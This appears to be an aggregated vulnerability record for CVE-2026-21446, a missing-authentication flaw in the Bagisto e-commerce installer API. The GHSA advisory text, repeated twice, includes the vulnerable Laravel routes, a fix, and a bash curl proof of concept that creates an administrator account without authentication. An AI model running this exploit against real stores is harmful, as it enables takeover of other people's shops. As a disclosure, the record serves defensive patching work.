{"id":"CVE-2026-21446","aliases":["EUVD-2026-0033","GHSA-6h7w-v2xr-mqvw"],"status":"published","title":"Bagisto Missing Authentication on Installer API Endpoints","description":"Bagisto is an open source laravel eCommerce platform. In versions on the 2.3 branch prior to 2.3.10, API routes remain active even after initial installation is complete. The underlying API endpoints (`/install/api/*`) are directly accessible and exploitable without any authentication. An attacker can bypass the Ib installer entirely by calling the API endpoints directly. This allows any unauthenticated attacker to create admin accounts, modify application configurations, and potentially overwrite existing data. Version 2.3.10 fixes the issue.","severity":{"version":"4.0","score":8.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00634,"percentile":0.50827,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-306"],"published":"2026-01-02T19:18:36Z","modified":"2026-10-28T02:31:04Z","fixes":[{"ecosystem":"Packagist","package":"bagisto/bagisto","fixed_in":["2.3.10"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"bagisto/bagisto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.3.0"},{"fixed":"2.3.10"}]}]},{"source":"osv","ecosystem":"Packagist","package":"bagisto/bagisto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.3.0"},{"fixed":"2.3.10"}]}],"versions":["v2.3.0","v2.3.1","v2.3.2","v2.3.3","v2.3.4","v2.3.5","v2.3.6","v2.3.7","v2.3.8","v2.3.9"]}],"products":[{"vendor":"bagisto","product":"bagisto"},{"vendor":"webkul","product":"bagisto"}],"references":[{"url":"https://github.com/bagisto/bagisto/security/advisories/GHSA-6h7w-v2xr-mqvw","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/bagisto/bagisto/commit/380c045e48490da740cd505fb192cc45e1809bed","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-21446","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-6h7w-v2xr-mqvw"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/21xxx/CVE-2026-21446.json","tags":["advisory"]},{"url":"https://github.com/bagisto/bagisto","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-21446","title":"Bagisto Missing Authentication on Installer API Endpoints","description":"Bagisto is an open source laravel eCommerce platform. In versions on the 2.3 branch prior to 2.3.10, API routes remain active even after initial installation is complete. The underlying API endpoints (`/install/api/*`) are directly accessible and exploitable without any authentication. An attacker can bypass the Ib installer entirely by calling the API endpoints directly. This allows any unauthenticated attacker to create admin accounts, modify application configurations, and potentially overwrite existing data. Version 2.3.10 fixes the issue.","status":"published","published":"2026-01-02T19:18:36.095Z","modified":"2026-01-05T15:54:55.916Z","cvss":[{"version":"4.0","score":8.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P","level":"high","assessor":"cna"}],"cwes":["CWE-306"],"updated_at":"2026-11-02T13:41:42.05254Z"}],"euvd":[{"id":"EUVD-2026-0033","description":"Bagisto is an open source laravel eCommerce platform. In versions on the 2.3 branch prior to 2.3.10, API routes remain active even after initial installation is complete. The underlying API endpoints (`/install/api/*`) are directly accessible and exploitable without any authentication. An attacker can bypass the Ib installer entirely by calling the API endpoints directly. This allows any unauthenticated attacker to create admin accounts, modify application configurations, and potentially overwrite existing data. Version 2.3.10 fixes the issue.","status":"published","published":"2026-01-02T19:18:36Z","modified":"2026-01-05T15:54:55Z","cvss":[{"version":"4.0","score":8.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P","level":"high"}],"updated_at":"2026-11-02T19:48:55.889439Z"}],"ghsa":[{"id":"GHSA-6h7w-v2xr-mqvw","title":"Bagisto Missing Authentication on Installer API Endpoints","description":"### Vulnerable Code\n\n**File:** `packages/Ibkul/Installer/src/Routes/Ib.php`\n\n```\n\u003c?php\n\nuse Illuminate\\\\Session\\\\Middleware\\\\StartSession;  \nuse Illuminate\\\\Support\\\\Facades\\\\Route;  \nuse Ibkul\\\\Installer\\\\Http\\\\Controllers\\\\InstallerController;\n\nRoute::middleware(\\['Ib', 'installer\\_locale'\\])-\\\u003egroup(function () {  \n    Route::controller(InstallerController::class)-\\\u003egroup(function () {  \n        Route::get('install', 'index')-\\\u003ename('installer.index');\n\n        Route::middleware(StartSession::class)-\\\u003eprefix('install/api')-\\\u003egroup(function () {  \n            Route::post('env-file-setup', 'envFileSetup')-\\\u003ename('installer.env\\_file\\_setup');  \n            Route::post('run-migration', 'runMigration')-\\\u003ename('installer.run\\_migration')-\\\u003ewithoutMiddleware('Ib');  \n            Route::post('run-seeder', 'runSeeder')-\\\u003ename('installer.run\\_seeder')-\\\u003ewithoutMiddleware('Ib');  \n            Route::get('download-sample', 'downloadSample')-\\\u003ename('installer.download\\_sample')-\\\u003ewithoutMiddleware('Ib');  \n            Route::post('admin-config-setup', 'adminConfigSetup')-\\\u003ename('installer.admin\\_config\\_setup')-\\\u003ewithoutMiddleware('Ib');  \n            Route::post('sample-products-setup', 'createSampleProducts')-\\\u003ename('installer.sample\\_products\\_setup')-\\\u003ewithoutMiddleware('Ib');  \n        });  \n    });  \n});\n```\n\nAPI routes remain active even after initial installation is complete, allowing any unauthenticated attacker to:\n\n- Create admin accounts  \n- Modify application configuration  \n- Potentially overwrite existing data\n\nthe underlying **API endpoints** (`/install/api/*`) are directly accessible and exploitable without any authentication. An attacker can bypass the Ib installer entirely by calling the API endpoints directly.\n\n### How to Reproduce\n\n1. The Ib installer UI at `http://localhost:8000/install` has client-side protections  \n2. **However, the API endpoints are directly exploitable:**  \n   - The attack works by calling `/install/api/admin-config-setup` directly via curl/HTTP client  \n   - No CSRF token, session, or authentication is required  \n   - The Ib UI workflow is completely bypassed\n\n### Proof of Concept\n\n```\n#!/bin/bash\n# PoC: Create admin account without authentication\n\n\nTARGET=\"http://localhost:8000\"\n\n\n# Create a new admin account\ncurl -X POST \"$TARGET/install/api/admin-config-setup\" \\\n    -H \"Content-Type: application/json\" \\\n    -d '{\n        \"admin_name\": \"Attacker\",\n        \"admin_email\": \"attacker@evil.com\",\n        \"admin_password\": \"HackedPassword123\"\n    }'\n\n\necho \"\"\necho \"New admin account created!\"\necho \"Login at: $TARGET/admin\"\necho \"Email: attacker@evil.com\"\n```\n\n### Expected Result\n\nThe API should reject unauthenticated requests with 401/403 status.\n\n### Actual Result\n\nThe API accepts the request and creates a new admin account, allowing full administrative access to the e-commerce platform.\n\n### Recommended Patch\n\nAdd installation completion check\n\n```\n// In InstallerController.php or a new middleware\n\n\npublic function __construct()\n{\n    // Check if application is already installed\n    if (file_exists(base_path('.env')) \u0026\u0026\n        config('app.key') \u0026\u0026\n        \\Schema::hasTable('admins') \u0026\u0026\n        \\DB::table('admins')-\u003ecount() \u003e 0) {\n        abort(404, 'Application already installed');\n    }\n}\n```","status":"published","published":"2026-01-02T21:14:06Z","modified":"2026-01-08T21:35:05Z","cvss":[{"version":"4.0","score":8.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P","level":"high"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-306"],"updated_at":"2026-11-02T14:39:16.156387Z"}],"nvd":[{"id":"CVE-2026-21446","description":"Bagisto is an open source laravel eCommerce platform. In versions on the 2.3 branch prior to 2.3.10, API routes remain active even after initial installation is complete. The underlying API endpoints (`/install/api/*`) are directly accessible and exploitable without any authentication. An attacker can bypass the Ib installer entirely by calling the API endpoints directly. This allows any unauthenticated attacker to create admin accounts, modify application configurations, and potentially overwrite existing data. Version 2.3.10 fixes the issue.","status":"published","published":"2026-01-02T20:16:18.02Z","modified":"2026-06-17T10:18:41.217Z","cvss":[{"version":"4.0","score":8.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"primary"}],"cwes":["CWE-306"],"updated_at":"2026-11-02T14:12:03.683495Z"}],"osv":[{"id":"CVE-2026-21446","title":"Bagisto Missing Authentication on Installer API Endpoints","description":"Bagisto is an open source laravel eCommerce platform. In versions on the 2.3 branch prior to 2.3.10, API routes remain active even after initial installation is complete. The underlying API endpoints (`/install/api/*`) are directly accessible and exploitable without any authentication. An attacker can bypass the Ib installer entirely by calling the API endpoints directly. This allows any unauthenticated attacker to create admin accounts, modify application configurations, and potentially overwrite existing data. Version 2.3.10 fixes the issue.","status":"published","published":"2026-01-02T19:18:36.095Z","modified":"2026-10-28T02:31:04.953636788Z","cvss":[{"version":"4.0","score":8.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P","level":"high"}],"cwes":["CWE-306"],"updated_at":"2026-11-02T15:44:58.42038Z"},{"id":"GHSA-6h7w-v2xr-mqvw","title":"Bagisto Missing Authentication on Installer API Endpoints","description":"### Vulnerable Code\n\n**File:** `packages/Ibkul/Installer/src/Routes/Ib.php`\n\n```\n\u003c?php\n\nuse Illuminate\\\\Session\\\\Middleware\\\\StartSession;  \nuse Illuminate\\\\Support\\\\Facades\\\\Route;  \nuse Ibkul\\\\Installer\\\\Http\\\\Controllers\\\\InstallerController;\n\nRoute::middleware(\\['Ib', 'installer\\_locale'\\])-\\\u003egroup(function () {  \n    Route::controller(InstallerController::class)-\\\u003egroup(function () {  \n        Route::get('install', 'index')-\\\u003ename('installer.index');\n\n        Route::middleware(StartSession::class)-\\\u003eprefix('install/api')-\\\u003egroup(function () {  \n            Route::post('env-file-setup', 'envFileSetup')-\\\u003ename('installer.env\\_file\\_setup');  \n            Route::post('run-migration', 'runMigration')-\\\u003ename('installer.run\\_migration')-\\\u003ewithoutMiddleware('Ib');  \n            Route::post('run-seeder', 'runSeeder')-\\\u003ename('installer.run\\_seeder')-\\\u003ewithoutMiddleware('Ib');  \n            Route::get('download-sample', 'downloadSample')-\\\u003ename('installer.download\\_sample')-\\\u003ewithoutMiddleware('Ib');  \n            Route::post('admin-config-setup', 'adminConfigSetup')-\\\u003ename('installer.admin\\_config\\_setup')-\\\u003ewithoutMiddleware('Ib');  \n            Route::post('sample-products-setup', 'createSampleProducts')-\\\u003ename('installer.sample\\_products\\_setup')-\\\u003ewithoutMiddleware('Ib');  \n        });  \n    });  \n});\n```\n\nAPI routes remain active even after initial installation is complete, allowing any unauthenticated attacker to:\n\n- Create admin accounts  \n- Modify application configuration  \n- Potentially overwrite existing data\n\nthe underlying **API endpoints** (`/install/api/*`) are directly accessible and exploitable without any authentication. An attacker can bypass the Ib installer entirely by calling the API endpoints directly.\n\n### How to Reproduce\n\n1. The Ib installer UI at `http://localhost:8000/install` has client-side protections  \n2. **However, the API endpoints are directly exploitable:**  \n   - The attack works by calling `/install/api/admin-config-setup` directly via curl/HTTP client  \n   - No CSRF token, session, or authentication is required  \n   - The Ib UI workflow is completely bypassed\n\n### Proof of Concept\n\n```\n#!/bin/bash\n# PoC: Create admin account without authentication\n\n\nTARGET=\"http://localhost:8000\"\n\n\n# Create a new admin account\ncurl -X POST \"$TARGET/install/api/admin-config-setup\" \\\n    -H \"Content-Type: application/json\" \\\n    -d '{\n        \"admin_name\": \"Attacker\",\n        \"admin_email\": \"attacker@evil.com\",\n        \"admin_password\": \"HackedPassword123\"\n    }'\n\n\necho \"\"\necho \"New admin account created!\"\necho \"Login at: $TARGET/admin\"\necho \"Email: attacker@evil.com\"\n```\n\n### Expected Result\n\nThe API should reject unauthenticated requests with 401/403 status.\n\n### Actual Result\n\nThe API accepts the request and creates a new admin account, allowing full administrative access to the e-commerce platform.\n\n### Recommended Patch\n\nAdd installation completion check\n\n```\n// In InstallerController.php or a new middleware\n\n\npublic function __construct()\n{\n    // Check if application is already installed\n    if (file_exists(base_path('.env')) \u0026\u0026\n        config('app.key') \u0026\u0026\n        \\Schema::hasTable('admins') \u0026\u0026\n        \\DB::table('admins')-\u003ecount() \u003e 0) {\n        abort(404, 'Application already installed');\n    }\n}\n```","status":"published","published":"2026-01-02T21:14:06Z","modified":"2026-02-03T03:15:38.352737Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"},{"version":"4.0","score":8.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P","level":"high"}],"cwes":["CWE-306"],"updated_at":"2026-11-02T15:46:39.618611Z"}]}}